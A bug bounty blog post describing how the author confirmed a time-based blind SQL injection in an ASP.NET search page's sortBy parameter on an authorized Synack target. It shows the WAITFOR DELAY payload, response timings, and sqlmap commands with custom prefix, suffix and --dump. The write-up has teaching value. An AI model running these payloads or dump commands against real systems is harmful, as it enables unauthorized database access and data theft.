The Prefix, The Suffix, and the SQL Injection That Almost Got Away

I always tell my sons, “You learn something every day.” But let’s be honest — that’s not always true. However, once in a while, you do learn something valuable, and this was one of those times.

The other night, I was working on a Synack target when I came across an interesting request. Some parameters immediately made me think of SQL Injection. I’ve been testing for some time, and over time, you develop an instinct for spotting vulnerabilities just by looking at a website’s structure and requests. Experience allows you to identify backends based on HTML clues, URL paths, and patterns in requests.

The Request That Stood Out:

https://example.com/SearchDocs.aspx?doctypes=1&filename=&sdate=&edate=&content=&sortBy=&sortOrder=&custom=%7B%22customFields%22:%5B%5D%7D

Right away, I saw .aspx, which meant the backend was likely Windows, ASP.NET, and Microsoft SQL Server. The only WAF I needed to deal with was the IIS ASP generic WAF, which is decent at some things but weak against others.

I started manual testing, using payloads specific to Microsoft SQL Server. One of my go-to tests is WAITFOR DELAY, which introduces a controlled delay in the response time. I injected:

1WAITFOR%20DELAY%20'0%3A0%3A11'--%20

Using Burp Suite, I measured response times, and sure enough, my hunch was correct. The sortBy parameter responded with a delay of 11,105 milliseconds, confirming SQL Injection.

Breakdown of the Response Delays:

• 1WAITFOR DELAY '0:0:11'-- → 11,105ms
• 1WAITFOR DELAY '0:0:7'-- → 7,125ms
• 1WAITFOR DELAY '0:0:4'-- → 4,064ms

At this point, I thought, Great! Now comes the easy part. I fired up SQLMap with the following command:

python3.8 ./sqlmap.py -u "https://example.com/SearchDocs.aspx?doctypes=1&filename=&sdate=&edate=&content=&sortBy=*&sortOrder=&custom=" --level=3 --technique=T --proxy http://127.0.0.1:8080 --dbms="Microsoft SQL Server" -batch

Then… Nothing.

SQLMap failed to detect the injection.

I tweaked settings, adjusted levels, increased risk to 3, tested different payloads, and even consulted ChatGPT and Gemini. Their advice was sound, but nothing worked. Frustration set in.

The Breakthrough:

Determined, I went back to OSCP fundamentals — Try Harder. Instead of relying on Burp, I cranked SQLMap verbosity to -v 5 to inspect every request. That was overwhelming, so I settled on -v 3, which provided just the right level of detail.

That’s when I noticed SQLMap wasn’t forming the payload correctly:

1 WAITFOR DELAY'0.0.11'--

The issue? The payload needed to start with 1 and end with -- (a space at the end). The spaces also had to be encoded properly. After some trial and error, I fixed it with:

--prefix="1" --suffix="-- "

Final SQLMap Command:

python3.8 ./sqlmap.py -u "https://example.com/SearchDocs.aspx?doctypes=1&filename=&sdate=&edate=&content=&sortBy=*&sortOrder=&custom=" --level=3 --technique=T --proxy http://127.0.0.1:8080 --dbms="Microsoft SQL Server" --prefix="1" --suffix="-- " --dump --batch

Boom! SQLMap detected the injection. I was able to enumerate databases, dump tables, and extract data.

What I Learned:

1. Even when you’re sure, you might be wrong. Manual testing is crucial.
2. Always inspect how SQLMap sends payloads. If it’s not working, check the actual requests.
3. Persistence pays off. Don’t get discouraged — every challenge is a learning opportunity.

So go out there and find some bugs! If I can, so can you. Hope you enjoyed reading this!